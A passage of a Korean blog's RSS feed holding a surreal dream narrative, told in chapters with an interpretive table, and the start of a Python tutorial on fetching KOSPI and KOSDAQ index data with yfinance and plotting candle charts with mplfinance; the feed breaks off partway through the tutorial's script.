      <description>&lt;p data-ke-size=&quot;size16&quot; style=&quot;text-align: left;&quot;&gt;제공해주신 모든 꿈의 파편들을 하나의 서사로 엮은 최종본입니다. 각 장의 묘사를 강화하고 심리적 변화를 세밀하게 담아내어, 당신만의 독특한 대서사시를 완성했습니다.&lt;br&gt;## 궤도의 조율자: 붉은 고무줄과 생존의 잔상&lt;br&gt;1장: 먼지와 침묵, 멈춰버린 궤도의 전조 (공사장과 미팅)&lt;br&gt;1-1: 낯선 공기의 무게&lt;br&gt;눈을 떴을 때, 나는 거대한 해체와 재조립의 현장 한복판에 서 있었다. 사방은 내부 공사로 인해 형체를 알아볼 수 없을 만큼 해체되어 있었고, 공기 중에는 미세한 콘크리트 먼지가 하얗게 떠다니며 폐부를 찔렀다. 발을 딛는 곳마다 거친 자재와 쇳덩어리들이 발바닥을 타고 서늘한 감촉을 전했다. 그것은 단순한 공사 현장이 아니었다. 마치 시간마저 멈춰버린 듯한, 기묘한 침묵이 지배하는 공간이었다.&lt;br&gt;1-2: 무력감과 대체된 자리&lt;br&gt;그 먼지 쌓인 공간의 한구석, 낡은 회의 탁자 주변으로 '마스터'의 팀원들이 모여 앉아 있었다. 그들의 눈빛은 차가웠고, 나를 향한 시선에는 보이지 않는 평가와 압박이 담겨 있었다. 시작된 퀴즈 미팅. 그것은 정답을 맞혀야만 다음 단계로 나갈 수 있는 기묘한 의식과도 같았다.&lt;br&gt;하지만 나의 준비는 턱없이 부족했다. 머릿속은 하얗게 굳어버렸고, 입술은 메말라 한 마디도 내뱉을 수 없었다. 거대한 무력감이 나를 짓눌렀다. '실패'라는 단어가 내 머릿속을 스치던 순간, 팀장이 소리 없이 내 자리를 대체하며 회의는 다시 흘러갔다. 나는 팀의 중심에서 소외된 채, 먼지 쌓인 구석으로 밀려났다.&lt;br&gt;1-3: 빌려온 공간, 씻어내지 못하는 얼룩&lt;br&gt;수치심과 조급함이 밀려왔다. 몸에 쌓인 먼지라도 씻어내고 싶었지만, 정작 내가 머물 방은 어디에도 없었다. 나는 타인들이 사용하는, 여전히 공사가 진행 중인 샤워실로 스며들어야 했다. 집기들이 흩어져 있고, 녹슨 수도꼭지에서는 차가운 물만이 뚝뚝 떨어지는 공간.&lt;br&gt;나는 그 빌려온 공간에서 조심스럽게 몸을 씻어냈지만, 내 마음속 깊이 자리 잡은 무력감의 얼룩은 쉽게 씻어내지 못했다. 등 뒤로 들려오는 팀원들의 웃음소리가 마치 나를 비웃는 듯했다. 나는 차가운 물 아래서, 앞으로 다가올 거대한 혼돈과 시련을 직감했다. 그것은 멈춰버린 내 인생의 궤도를 다시 돌려놓기 위해 겪어야 할, 피할 수 없는 통과의례였다..&lt;br&gt;&lt;br&gt;##2장: 덧칠해진 비극, 작동하지 않는 구원 (폐가의 기억)&lt;br&gt;2-1: 일상의 균열&lt;br&gt;동료 주노와 현이, 그리고 나. 셋이서 평범한 점심 식사를 마치고 돌아오던 길이었다. 햇살은 나른했고 공기는 평화로웠지만, 주노가 겉봉투도 없는 우산을 반품해야 한다며 투덜거릴 때부터 무언가 어긋나기 시작했다. 우리는 우연히 길가에 버려진 듯 서 있는 낡은 폐가 한 채를 마주했다. 이미 여러 번 본 듯 익숙하면서도, 볼 때마다 기분 나쁜 소름이 돋는 기괴한 건물이었다. 우리는 홀린 듯 그곳으로 들어갔다. 버려진 테이프나 자재 따위를 건져보겠다는 사소한 욕심이 비극의 서막이었다.&lt;br&gt;2-2: 불길의 역습&lt;br&gt;우리가 위층에서 쓸만한 물건을 찾고 있을 때, 갑자기 아래층에서 고막을 찢는 듯한 비명과 함께 매캐한 연기가 올라왔다. 아이들의 다급한 목소리. 나는 본능적으로 아래층으로 뛰어 내려갔다. 그곳에는 거실 한복판에서 솟구치는 불길을 마주한 아이들의 엄마가 있었다. 그녀는 절박한 표정으로 벽에 걸린 낡은 소화기를 움켜쥐었다. 안전핀을 뽑고 손잡이를 움켜쥐었지만, 소화기는 마치 누군가 목을 조르는 듯 '쉭' 하는 힘없는 소리만 낼 뿐 어떤 분말도 내뿜지 않았다. 유통기한이 한참 지난, 이미 죽어버린 도구였다.&lt;br&gt;2-3: 녹색 페인트의 장벽&lt;br&gt;순식간에 화염은 천장을 핥으며 몸집을 불렸다. 공포에 질린 엄마와 아이들을 데리고 밖으로 나가려 했지만, 지하로 이어지는 입구는 굳게 잠겨 있었다. 설상가상으로 출입문은 도색 작업 중인지 두꺼운 비닐로 덮여 있었고, 그 위로 끈적한 녹색 페인트가 덧칠해지고 있었다.&lt;br&gt;화염의 붉은빛과 비닐 위의 녹색 페인트가 뒤섞여 시야를 기괴하게 왜곡했다. 소방서에 연락하려 했지만 통신은 먹통이었고, 구조의 손길은 아득히 멀었다. 나는 비닐을 찢으려 손톱이 깨지도록 긁어보았지만, 겹겹이 쌓인 비닐과 페인트는 마치 산 채로 우리를 가두는 늪 같았다. 도구가 작동하지 않는 무력함, 문이 열리지 않는 절망감. 그날의 붉고 푸른 환영은 내 영혼에 지워지지 않는 낙인을 찍었다.&lt;br&gt;3장: 어둠의 회전반, 침묵의 사냥 (서바이벌 게임)&lt;br&gt;3-1: 심판의 테이블&lt;br&gt;폐가의 지옥에서 깨어나기도 전에, 나는 또 다른 지옥으로 던져졌다. 거대한 돔 형태의 경기장. 이곳은 승리자가 상금을 쟁취하는 게임장이 아니라, 죽지 않는 자가 다음 지옥으로 향할 권리를 얻는 처절한 도살장이었다.&lt;br&gt;경기장의 중앙에는 거대한 원형 회전 테이블이 놓여 있었다. 나와 이름 모를 참가자들은 그 테이블 위에 짐승처럼 앉혀졌다. 게임의 룰은 단순하고도 잔혹했다. &quot;조명이 꺼지면, 소리 내는 자부터 죽는다.&quot; 안내 방송이 끝나자마자 눈을 찌르는 듯한 암흑이 찾아왔고, 테이블은 천천히, 그러나 가차 없이 회전하기 시작했다.&lt;br&gt;3-2: 보이지 않는 포식자&lt;br&gt;어둠 속에서 '그것'이 움직이는 소리가 들렸다. 거친 숨소리와 바닥을 긁는 발톱 소리. 괴수는 소리에 민감했다. 옆에 앉아 있던 한 참가자가 공포를 이기지 못하고 억눌린 신음소리를 내뱉었다. 그 찰나, 쇳소리 섞인 괴수의 포효와 함께 '우지끈' 뼈가 바스러지는 소리가 들렸다. 비명조차 지르지 못한 채 생명이 꺼지는 소리. 괴수는 &quot;이 게임은 불평등해!&quot;라고 분노 섞인 말을 내뱉으면서도, 어둠 속에서 오로지 진동과 소리에 의지해 테이블 위의 사냥감을 정확히 찾아내 도륙했다.&lt;br&gt;나는 회전하는 테이블의 원심력에 몸을 맡긴 채, 심장 박동소리마저 괴수에게 들릴까 봐 숨을 멈췄다. 폐가에서 불길을 막지 못했던 무력감이 다시 나를 덮쳤지만, 이번에는 달랐다. 죽음의 감각이 예민해질수록 내 정신은 오히려 차갑게 식어갔다.&lt;br&gt;3-3: 카터칼과 최후의 발악&lt;br&gt;참가자 두 명이 괴수에게 한꺼번에 낚아채여 공중으로 들어 올려진 순간이었다. 죽음을 직감한 한 참가자가 자신의 몸을 던져 테이블을 괴수 쪽으로 강하게 밀어붙였다. 거대한 회전력이 괴수의 허리를 타격했고, 괴수는 고통스러운 울부짖음을 내뱉으며 쓰러졌다. 하지만 괴수는 죽어가면서도 주변의 날카로운 자재들을 이용해 자신을 공격한 자들을 끝까지 물어뜯었다.&lt;br&gt;마지막 순간, 빈사 상태의 괴수가 나를 발견했다. 그것은 최후의 수단으로 주변에 떨어진 카터칼을 집어 들더니 제 자신의 머리 가죽을 찢어 발겼다. 그 벌어진 틈 사이로 치명적인 독을 쏘아 올리려는 찰나였다. 나는 반사적으로 회전하는 테이블의 밑바닥, 그 비좁고 어두운 틈새로 몸을 던졌다. 머리 위로 독액이 타들어 가는 소리가 들렸지만, 나는 살아남았다.&lt;br&gt;3-4: 유품과 고귀한 거절&lt;br&gt;안내 방송이 흘러나왔다. 우승자에게 주어지는 거액의 상금. 하지만 나는 그 돈을 바라보며 환멸을 느꼈다. 이 돈을 챙겨 나가는 순간, 나는 평생 누군가의 시기와 구걸, 그리고 이 피 냄새 나는 기억에 시달릴 것이었다. 나는 떨리는 목소리로 선언했다.&lt;br&gt;&quot;상금은 가져가지 않겠습니다. 기부하거나, 다음 경기의 생존자들을 위한 보조금으로 써주십시오.&quot;&lt;br&gt;대신 나는 바닥에 떨어진 괴수의 작은 유품 하나를 챙겼다. 그것은 내가 공포를 이겨냈다는 증거이자, 다시는 무력하게 소화기 손잡이만 부여잡고 있지 않겠다는 스스로에 대한 맹세였다. 서바이버(Survivor). 나는 이제 단순히 살아남은 자가 아니라, 시련을 딛고 일어선 투사가 되어 있었다.&lt;br&gt;#&lt;br&gt;#4장: 항저우, 심장의 박동을 붙잡다 (CPR 상세 묘사)&lt;br&gt;4-1: 멈춰버린 시간, 터져 나오는 본능&lt;br&gt;서바이벌의 전장에서 살아남은 지 얼마 후, 나는 항저우의 거대한 전시회장 한복판에 서 있었다. 인파의 물결 속에서 갑자기 비명에 가까운 외침이 터졌다. 시선의 끝에는 한 노인이 가슴을 움켜쥔 채 쓰러져 있었고, 그의 얼굴은 순식간에 잿빛으로 변해갔다. 수많은 인파가 그를 에워쌌지만, 누구도 선뜻 나서지 못한 채 웅성거리기만 했다. 조심스러운 침묵과 무력한 시선들.&lt;br&gt;그 순간, 내 머릿속에 폐가에서의 화마와 서바이벌 게임의 괴수가 교차했다. 작동하지 않던 소화기, 어둠 속의 사냥. 또다시 무력하게 누군가를 잃을 수는 없었다. 그것은 이성이 아닌, 생존과 구조에 대한 처절한 본능이었다. 나는 군중을 헤치고 노인의 곁으로 뛰어들었다.&lt;br&gt;4-2: 사투, 100회의 압박과 죽음의 문턱&lt;br&gt;노인의 맥박은 느껴지지 않았고, 호흡은 멈춰 있었다. 임상적인 죽음의 상태. 내 심장 또한 터질 듯 쿵쾅거리기 시작했다. 거대한 부담감이 나를 짓눌렀다. '만약 내가 실패한다면?', '내 손에서 이 노인이 숨을 거둔다면?' 차가운 공포가 등줄기를 타고 흘렀지만, 나는 깍지 낀 손을 노인의 가슴 중앙, 흉골 아래에 단단히 고정했다.&lt;br&gt;&quot;앰뷸런스! 구급차 불러요! 어서!&quot;&lt;br&gt;나의 외침을 시작으로 정적이 깨졌다. 나는 온 체중을 실어 압박을 시작했다. '하나, 둘, 셋, 넷...' 규칙적이고 강박적인 숫자의 반복. 서바이벌 게임에서 괴수의 공격을 피하던 그 필사적인 장력이 이제는 내 손끝에 모여 노인의 멈춘 심장을 강타했다. 거친 바닥 자재의 감촉, 내 손바닥을 타고 전해지는 노인의 굳어가는 갈비뼈의 저항. 그것은 죽음의 문턱을 붙잡고 벌이는 처절한 사투였다.&lt;br&gt;압박을 계속할수록 팔은 감각을 잃어갔고, 이마에서는 땀방울이 비 오듯 쏟아져 노인의 옷을 적셨다. 하지만 나는 멈출 수 없었다. 내가 멈추는 순간, 이 노인의 세계는 영원히 암흑 속으로 사라질 것이었다. 폐가에서 불길을 끄지 못했던 무력감을, 이번에는 반드시 이겨내야 해다. 1분당 100회 이상의 속도, 5cm 이상의 깊이. 그것은 내 몸을 갈아 넣어 타인의 생명을 유지하는 가혹한 형벌과도 같았다.&lt;br&gt;4-3: 갈등과 단호함, 그리고 경이로운 첫 숨&lt;br&gt;제복을 입은 현지 구급대원들이 들이닥친 것은 내가 수백 번의 압박을 마쳤을 무렵이었다. 그들은 나를 거칠게 밀쳐내려 했지만, 나는 노인의 가슴에서 손을 떼지 않은 채 소리쳤다.&lt;br&gt;&quot;비켜요! 중간에 멈추면 안 됩니다! 내가 박동을 유지할 테니 당신들은 장비를 세팅하고 제 장단에 맞춰 확실히 인계받을 준비가 됐을 때 말해요!&quot;&lt;br&gt;나의 눈빛에 서린 결연함과 단호함에 압도된 대원들은 재빨리 움직이기 시작했다. 그들이 제세동기를 준비하는 동안에도 나는 압박을 멈추지 않았다. 마침내 제세동기가 준비되고, 나는 마지막 한 번의 강한 압박을 가한 뒤 손을 뗐다.&lt;br&gt;'쿵-치직!'&lt;br&gt;제세동기의 전기 충격이 가해진 순간, 노인의 몸이 크게 움찔했다. 그리고 몇 초 뒤, 노인의 입에서 '으흐윽' 하는 거칠고 쇳소리 섞인 첫숨이 터져 나왔다. 잿빛이었던 얼굴에 핏기가 돌기 시작했고, 흐릿했던 눈동자가 미세하게 움직였다. 기적이었다.&lt;br&gt;4-4: 피어나는 보람, 삶의 조율자로서의 자각&lt;br&gt;그 첫숨을 확인한 순간, 내 몸을 짓누르던 거대한 부담감과 공포심은 순식간에 눈 녹듯 사라졌다. 대신 그 자리에 형언할 수 없는 경이로움과 뜨거운 보람이 가득 찼다. 팔의 통증도, 땀에 젖은 불쾌함도 느껴지지 않았다. 내가, 내 손으로, 멈춰버린 생명의 궤도를 다시 돌려놓았다는 사실. 그것은 폐가의 트라우마와 서바이벌의 잔혹함을 씻어내는 가장 완벽하고도 고결한 치유였다.&lt;br&gt;나는 소란스러운 현장을 뒤로하고 땀을 닦으며 조용히 전시장을 빠져나왔다. 내 걸음걸이는 이전보다 훨씬 단단하고 확신에 차 있었다. 나는 이제 더 이상 혼돈 앞에서 무력한 존재가 아니었다. 나는 삶의 박동을 지켜내고 세상의 궤도를 조율하는, 진정한 '조율자'였다.&lt;br&gt;&lt;br&gt;#&lt;br&gt;### 5장: 사라진 표식, 게이트 앞의 고독 (공항의 혼돈)&lt;br&gt;#### 5-1: 헌신의 그림자&lt;br&gt;항저우에서 죽음의 문턱에 선 노인을 살려낸 뒤, 나는 곧바로 또 다른 의무의 공간으로 던져졌다. 공항 지하, 미로처럼 얽힌 공용 사물함 구역. 나는 두 분의 스승, 원로 목사님과 담임 목사님의 출국을 지원해야 하는 막중한 임무를 띠고 있었다. 폐가에서 불길을 막지 못했던 기억과 서바이벌 게임에서 동료들의 죽음을 목격했던 잔상은 나를 더욱 강박적인 헌신으로 몰아넣었다. 나는 사물함 깊숙한 곳에서 그들의 외투와 가디건, 작은 소품 하나까지 정성껏 꺼내어 완벽하게 챙겨드렸다. 내 안의 '조율자'는 한 치의 오차도 허용하고 싶지 않았다.&lt;br&gt;#### 5-2: 엇갈린 궤도와 상실&lt;br&gt;하지만 비극은 예기치 못한 곳에서 발생했다. 두 번째 스승의 옷가지들을 정리하던 찰나, 낯선 이가 착각하여 그 옷을 가져가 버린 것이다. 질서를 잡으려 할수록 상황은 걷잡을 수 없는 혼란으로 치달았다. 사라진 옷을 찾기 위해 사물함 구역을 헤매고 타인의 짐을 뒤정리하는 사이, 정작 내 소지품들은 어디론가 흩어졌다. 비행기 탑승 시간은 이미 임계점을 넘어서고 있었다. 신용카드, 지갑, 그리고 가장 중요한 비행기 표까지. 나는 빈손이 된 채, 차가운 공항 바닥을 박차고 게이트를 향해 달리기 시작했다.&lt;br&gt;#### 5-3: 닫힌 문과 연착의 기적&lt;br&gt;숨이 턱 끝까지 차올랐을 때 도달한 게이트는 이미 굳게 닫혀 있었다. 표가 없는 승객은 들어갈 수 없다는 차가운 거절. 서바이벌 게임의 괴수보다 더 냉혹한 현실의 벽이었다. &quot;비행기가 연착 중입니다.&quot; 안내 방송이 들려왔다. 연착 사유가 발생하면 누군가 막대한 보상금을 물어야 한다는 걱정이 엄습했지만, 역설적으로 그 멈춰버린 시간은 나에게 주어진 마지막 자비였다. 나는 차가운 공항 의자에 앉아, 타인을 위해 내 모든 것을 내어주느라 정작 헐벗게 된 나의 초라한 손바닥을 내려다보았다.&lt;br&gt;### 6장: 회전하는 태엽, 보은의 궤도 (전주식당의 결말)&lt;br&gt;#### 6-1: 전주식당의 재회&lt;br&gt;정신을 차렸을 때, 나는 다시 '전주식당'의 낡은 테이블 앞에 앉아 있었다. 공항의 소음도, 항저우의 비명도 들리지 않는 기묘한 정적의 공간. 그곳에는 여전히 '마스터'와 '체커'가 나를 기다리고 있었다. 그들은 메인 요리 세 개를 시켜두었지만, 접시들은 누구의 중심도 아닌 모호한 곳에 흩어져 있었다. 나는 말없이 일어나 테이블 사이의 장벽을 치우고 사각형 접시들을 정중앙으로 옮겼다. 그것은 내가 세상을 대하는 방식이자, 흩어진 삶의 파편들을 다시 조립하는 의식이었다.&lt;br&gt;#### 6-2: 노란 고무줄의 동력&lt;br&gt;마스터가 품 안에서 사각형 태엽 장치를 꺼냈다. 그는 장난감의 속을 분리하더니, 자신의 손가락에 끼워져 있던 노란 고무줄을 꺼냈다. &quot;너무 팽팽하면 끊어지고, 너무 느슨하면 돌아가지 않지.&quot; 그는 그 고무줄을 태엽 심장에 걸어 여러 번, 아주 정교하게 꼬아서 감았다. 그리고는 선명한 빛깔의 새 고무줄을 다시 겹쳐 감았다.&lt;br&gt;그 순간, 식당의 무거운 목조 문이 열리며 정중한 차림의 사절단이 들어왔다. 그들은 항저우 시장의 인장이 찍힌 서류함과 내가 공항에서 잃어버렸던 신용카드, 그리고 비행기 표를 들고 있었다. 내가 살려낸 노인의 박동이, 국경을 넘어 나에게 돌아온 것이다.&lt;br&gt;#### 6-3: 조율된 세계로의 퇴장&lt;br&gt;&quot;건물 값이 올라 세금이 많이 나온다더군. 전주 매입은 비추천일세.&quot; 체커가 신발을 신으며 마지막 조언을 건넸다. 하지만 나는 더 이상 숫자에 휘둘리지 않았다. 나에게는 세금보다 무겁고 건물보다 견고한 '인연의 동력'이 생겼기 때문이다.&lt;br&gt;나는 현관으로 나와 나의 단단한 신발을 찾아 신었다. 발끝에 느껴지는 감촉은 그 어느 때보다 확실했다. 등 뒤로 마스터가 감아놓은 태엽 장난감이 '치직, 치직' 소리를 내며 힘차게 돌아가기 시작했다. 노란 고무줄의 탄성처럼, 내 삶은 이제 타인이 아닌 나 자신의 궤도를 따라 완벽한 곡선을 그리며 움직이고 있었다. 나는 문을 열고 눈부신 빛 속으로 걸어 나갔다. 모든 조각이 제자리를 찾은, 조율된 세계를 향하여.&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;제공해주신 이야기 속의 각 장면이 **꿈의 비현실적/상징적 요소**인지, 아니면 **현실적인 서사 구조**를 띠고 있는지를 기준으로 정리해 드립니다.&lt;br&gt;이 이야기는 기묘한 상징(꿈)과 구체적인 행동(현실적 서사)이 뒤섞인 **'초현실적 서사'**의 형태를 띠고 있습니다.&lt;br&gt;| 장(Chapter) | 주요 내용 | 성격 구분 | 분석 및 상징적 의미 |&lt;br&gt;|---|---|---|---|&lt;br&gt;| **1장** | 먼지 쌓인 공사장, 퀴즈 미팅, 다른 곳에서의 샤워 | **꿈 (상징)** | 환경의 불안정함과 자신의 자리가 없다는 **심리적 압박감**을 상징하는 무의식의 공간입니다. |&lt;br&gt;| **2장** | 폐가 탐험, 소화기 미작동, 화염과 녹색 페인트 | **꿈 (트라우마)** | 구하려 해도 구할 수 없는 **무력감**과 과거의 상처가 시각적으로 투영된 장면입니다. |&lt;br&gt;| **3장** | 서바이벌 게임, 회전 테이블, 괴수와의 사투 | **꿈 (시련)** | 생존을 향한 처절한 본능과 **윤리적 선택**(상금 거부)을 시험받는 극한의 상징적 무대입니다. |&lt;br&gt;| **4장** | 항저우 전시회 노인 심폐소생술(CPR) | **현실적 서사** | 꿈의 무력감을 극복하는 **실제적 행동**이자, 전체 이야기의 인과관계를 만드는 핵심 사건입니다. |&lt;br&gt;| **5장** | 공항 사물함 챙기기, 소지품 분실, 비행기 연착 | **혼합 (심리)** | 타인을 챙기느라 자신을 잃어버리는 **현실적 불안**이 공항이라는 공간을 통해 극대화됩니다. |&lt;br&gt;| **6장** | 전주식당, 태엽과 노란 고무줄, 사절단의 방문 | **꿈 (결말/조율)** | 흩어졌던 삶의 파편들이 하나로 모여 **질서를 회복**하고 보상을 받는 보편적 구원의 장면입니다. |&lt;br&gt;**[요약 분석]**&lt;br&gt; * **1, 2, 3장**은 주로 주인공이 느끼는 **결핍, 공포, 무력감**을 보여주는 깊은 무의식의 층위(꿈)에 가깝습니다.&lt;br&gt; * **4장**은 그러한 내면의 갈등을 외부로 끄집어내어 **'생명을 살리는 행위'**로 승화시키는 전환점입니다.&lt;br&gt; * **5, 6장**은 그 행동의 결과가 다시 내면으로 돌아와 **안정(태엽과 조율)**을 찾게 되는 '보상'의 과정을 그리고 있습니다.&lt;br&gt;&lt;br&gt;&lt;/p&gt;</description>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/227</guid>
      <comments>https://thepin.tistory.com/227#entry227comment</comments>
      <pubDate>Sun, 12 Apr 2026 09:00:21 +0900</pubDate>
    </item>
    <item>
      <title># [파이썬 데이터 분석] 야후 파이낸스로 코스피&amp;middot;코스닥 장기 캔들 차트 그리기 (자동 저장 + 시각화)</title>
      <link>https://thepin.tistory.com/226</link>
      <description>&lt;h1&gt;[파이썬 데이터 분석] 야후 파이낸스로 코스피&amp;middot;코스닥 장기 캔들 차트 그리기 (자동 저장 + 시각화)&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안녕하세요. 금융 데이터 분석 바이브코딩 배우는 중 챗GPT외 Qwen으로&amp;nbsp; 프로그래밍이 가능해서 소개해드립니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주식 투자를 하거나 시장 흐름을 분석할 때 가장 기본적이면서도 중요한 작업은 무엇일까요? 바로 &lt;b&gt;정확한 과거 데이터를 확보&lt;/b&gt;하고, 이를 &lt;b&gt;시각화(차트)&lt;/b&gt;하여 트렌드를 파악하는 것입니다. 많은 분이 네이버나 야후 파이낸스 웹사이트에서 직접 차트를 보지만, 이를 자동으로 다운로드하고 이미지로 저장하여 리포트에 활용하거나 백테스팅에 사용하고 싶다면 어떻게 해야 할까요?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 파이썬(Python)의 강력한 금융 데이터 라이브러리인 &lt;code&gt;yfinance&lt;/code&gt;와 시각화 라이브러리 &lt;code&gt;mplfinance&lt;/code&gt;를 사용하여, &lt;b&gt;코스피(KOSPI)&lt;/b&gt;와 &lt;b&gt;코스닥(KOSDAQ)&lt;/b&gt; 지수의 장기 일봉 데이터를 가져온 뒤 &lt;b&gt;CSV 파일로 저장&lt;/b&gt;하고 &lt;b&gt;전문가 수준의 캔들 차트(Candlestick Chart) 이미지&lt;/b&gt;로 추출하는全过程를 상세히 정리해 드립니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특히 초보자분들도 쉽게 따라 하실 수 있도록 &lt;b&gt;가상환경(Virtual Environment) 설정부터 실행 방법&lt;/b&gt;까지 단계별로 설명하겠습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 왜 파이썬으로 주식 데이터를 다뤄야 할까?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 브라우저에서 보는 차트는 보기에는 좋지만, 데이터를 가공하거나 다른 분석 도구와 연계하기에는 한계가 있습니다. 파이썬을 사용하면 다음과 같은 이점이 있습니다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;자동화&lt;/b&gt;: 매일매일 수동으로 캡처하지 않아도, 코드 한 줄로 최신 데이터를 갱신할 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;유연성&lt;/b&gt;: 가져온 데이터를 pandas DataFrame 형태로 다루므로, 이동평균선 계산, 수익률 분석 등 추가 가공이 자유롭습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;고품질 시각화&lt;/b&gt;: &lt;code&gt;mplfinance&lt;/code&gt; 라이브러리를 통해 증권사 HTS 못지않은 깔끔한 캔들 차트를 이미지 파일(png)로 저장할 수 있습니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 개발 환경 준비 (가상환경 설정)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파이썬 프로젝트를 시작할 때는 항상 &lt;b&gt;가상환경&lt;/b&gt;을 사용하는 것이 좋습니다. 이는 프로젝트마다 필요한 라이브러리 버전을 독립적으로 관리하여 충돌을 방지하기 위함입니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2-1. 가상환경 생성 및 활성화&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;터미널(맥/리눅스) 또는 명령 프롬프트(윈도우)를 열고 원하는 폴더로 이동한 후 아래 명령어를 순서대로 입력하세요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[Mac / Linux 사용자]&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;# 1. 가상환경 생성 (이름: stock_env)
python3 -m venv stock_env

# 2. 가상환경 활성화
source stock_env/bin/activate&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[Windows 사용자]&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;vala&quot;&gt;&lt;code&gt;# 1. 가상환경 생성
python -m venv stock_env

# 2. 가상환경 활성화
stock_env\Scripts\activate&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;  &lt;b&gt;팁&lt;/b&gt;: 활성화가 성공하면 명령어 입력 창 앞에 &lt;code&gt;(stock_env)&lt;/code&gt;라는 문구가 표시됩니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2-2. 필수 라이브러리 설치&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가상환경이 활성화된 상태에서 필요한 라이브러리를 설치합니다. 우리는 데이터 수집(&lt;code&gt;yfinance&lt;/code&gt;), 데이터 처리(&lt;code&gt;pandas&lt;/code&gt;), 차트 그리기(&lt;code&gt;mplfinance&lt;/code&gt;), 한글 폰트 지원(&lt;code&gt;koreanize-matplotlib&lt;/code&gt;)을 위해 다음 패키지를 사용합니다.&lt;/p&gt;
&lt;pre class=&quot;cmake&quot;&gt;&lt;code&gt;pip install yfinance mplfinance pandas matplotlib koreanize-matplotlib&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치가 완료되면 &lt;code&gt;pip list&lt;/code&gt; 명령어로 설치 여부를 확인해 보세요.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 전체 소스 코드 작성&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 본격적으로 코드를 작성해 봅시다. 아래 코드는 야후 파이낸스에서 코스피(&lt;code&gt;^KS11&lt;/code&gt;)와 코스닥(&lt;code&gt;^KQ11&lt;/code&gt;) 데이터를 가져와 CSV로 저장하고, 캔들 차트를 그려 PNG 이미지로 저장하는 완전한 스크립트입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 이름은 &lt;code&gt;stock_chart_maker.py&lt;/code&gt;로 저장하세요.&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;import yfinance as yf
import mplfinance as mpf
import koreanize_matplotlib  # 한글 폰트 자동 설정 (중요!)
import matplotlib.pyplot as plt
import pandas as pd
import warnings
import os

# 경고 메시지 무시 (깔끔한 실행을 위해)
warnings.filterwarnings('ignore')

def fetch_and_save_data(ticker, filename_csv, start_date, end_date):
    &quot;&quot;&quot;
    야후 파이낸스에서 지수 데이터를 가져와 CSV 파일로 저장하는 함수

    Args:
        ticker (str): 야후 파이낸스 티커 (예: ^KS11, ^KQ11)
        filename_csv (str): 저장할 CSV 파일명
        start_date (str): 시작 날짜 (YYYY-MM-DD)
        end_date (str): 종료 날짜 (YYYY-MM-DD)

    Returns:
        DataFrame: 조회된 데이터프레임, 실패 시 None
    &quot;&quot;&quot;
    try:
        print(f&quot;  [{ticker}] 데이터 조회 중...&quot;)

        # yfinance를 사용하여 데이터 다운로드
        # progress=False로 진행바 숨김
        df = yf.download(ticker, start=start_date, end=end_date, progress=False)

        # 데이터가 비어있는지 확인
        if df.empty:
            print(f&quot;⚠️ [{ticker}] 데이터가 없습니다.&quot;)
            return None

        # 컬럼명 소문자 변환 (mplfinance 호환성 및 일관성 위해)
        # yfinance 버전 업데이트에 따라 컬럼명이 튜플일 수 있어 안전하게 처리
        new_columns = []
        for col in df.columns:
            if isinstance(col, str):
                new_columns.append(col.lower())
            else:
                # MultiIndex인 경우 첫 번째 레벨만 사용 (일반적으로 'Close', 'Open' 등)
                new_columns.append(col[0].lower() if len(col) &amp;gt; 0 else str(col).lower())
        df.columns = new_columns

        # 인덱스 이름 제거 (차트 그리기 시 오류 방지)
        df.index.name = None

        # CSV 파일로 저장
        df.to_csv(filename_csv)
        print(f&quot;✅ CSV 저장 완료: {filename_csv} (총 {len(df)}개 일봉)&quot;)

        return df

    except Exception as e:
        print(f&quot;❌ [{ticker}] 데이터 조회/저장 실패: {e}&quot;)
        return None

def plot_and_save_chart(df, title, filename_png):
    &quot;&quot;&quot;
    데이터프레임을 받아 캔들 차트를 그려 PNG 이미지로 저장하는 함수

    Args:
        df (DataFrame): OHLCV 데이터가 포함된 데이터프레임
        title (str): 차트 제목
        filename_png (str): 저장할 이미지 파일명
    &quot;&quot;&quot;
    if df is None or df.empty:
        print(f&quot;⚠️ 차트 생성 건너뜀: 데이터 없음&quot;)
        return

    try:
        # 1. 마켓 컬러 설정 (한국식: 상승=빨강, 하락=파랑)
